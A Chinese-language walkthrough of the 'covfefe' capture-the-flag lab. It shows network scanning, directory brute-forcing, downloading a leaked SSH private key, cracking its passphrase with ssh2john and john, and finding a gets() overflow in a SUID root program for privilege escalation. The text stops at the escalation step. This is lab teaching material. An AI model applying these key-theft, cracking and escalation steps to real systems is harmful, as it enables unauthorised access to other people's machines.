工具
私钥泄漏靶机
kali linux虚拟机
操作步骤
第一步:先使用ip探测,探测网段中有哪些计算机在使用。探测方法是"netdiscover -r ip/netmask"
192.168.2.142是我们的靶机。
第二步:找出靶机ip地址后,我们使用nmap来探测它的开放服务。
我们发现有3个端口是开放的,这时我们再去查看服务中有没有隐藏信息。
第三步:打开Firefox,在网址栏中输入http://ip:port可以查看服务中有没有隐藏的一些文件。
显示结果如下:
我们发现这种方法找不到隐藏文件。这时我们使用另一种方法。
shell中输入"dirb http://192.168.2.142:31337"
我们扫描出了5个文件,我们发现里面有一个robots.txt文件,这个文件是robots协议的文本文件,是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
拓展:robots协议
我们在Firefox中输入网址"http://192.168.2.142:31337/robots.txt"来查看可访问的文件。
如图:
我们进入"/taxes"文件,如图:
我们找到了第一个flag,检测过以上三个文件没有任何想要的信息。所以我们再进入"./ssh"查找
如图:
我们发现这是rsa的密钥,我们把’id_rsa’和’authorized_keys’下载下来(不需要下载公钥)。
我们把下载好的两个文件发到桌面上以便操作。
我们查看一下authorized_keys文件
cat authorized_keys
我们发现用户名为simon
第四步,开始进行ssh连接。
ssh -i id_rsa simon@192.168.2.142
结果如图:
这说明我们的id_rsa文件权限有问题,我们开始为id_rsa文件提权。
chmod 600 id_rsa
chmod abc file
其中a,b,c各为一个数字,分别表示User、Group、及Other的权限。
r=4,w=2,x=1
若要rwx属性则4+2+1=7;
若要rw-属性则4+2=6;
若要r-x属性则4+1=5。
我们再次进行ssh连接:
这次显示需要密码,所以我们需要进一步来破解密码。
第五步,我们使用kali中的ssh2john工具来破解ssh密码。
python /usr/share/john/ssh2john.py id_rsa > fuckyou
结果如下:
我们查看该文件:
ssh2john的作用就是把私钥转换为john可以识别的信息。
第六步,使用密码字典对私钥进行破解。
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules fuckyou
zcat是压缩包解压命令
|是管道命令,上一个命令的输出会作为下一个命令的输入。
john命令使用john --help
查看即可
操作结果如下:
我们得知密码为“starwars”,我们再次ssh一下,结果如下:
我们成功进入了靶机。
接下来我们查看一下绝对路径
simon@covfefe:~$ pwd
/home/simon
进入/root目录
查看当前文件:
simon@covfefe:~$ cd /root
simon@covfefe:/root$ ls
flag.txt read_message.c
simon@covfefe:/root$ ls -l
total 8
-rw------- 1 root root 75 Jul 9 2017 flag.txt
-rw-r--r-- 1 root root 767 Jul 9 2017 read_message.c
我们发现了flag,但是flag文件没有只读属性,但是read_message.c拥有只读属性。所以我们查看一下该文件:
simon@covfefe:/root$ cat read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //调用execve()函数的头文件
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf);
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
我们发现了第二个flag。
接下来我们开始进行代码审计,该代码的功能是输入一个名字来和Simon进行对比,若对比成功则执行execve()函数。
我们发现buf[20]可以被溢出,我们可以通过溢出来达到访问root权限目录,达到溢出提权的目的。
我们先查找具有root权限的文件
simon@covfefe:/root$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message
/bin/umount
/bin/su
/bin/mount
/bin/ping
我们发现read_message具有root权限
第七步,运行read_meassage.c进行溢出提权
进入root,查看flag
如图: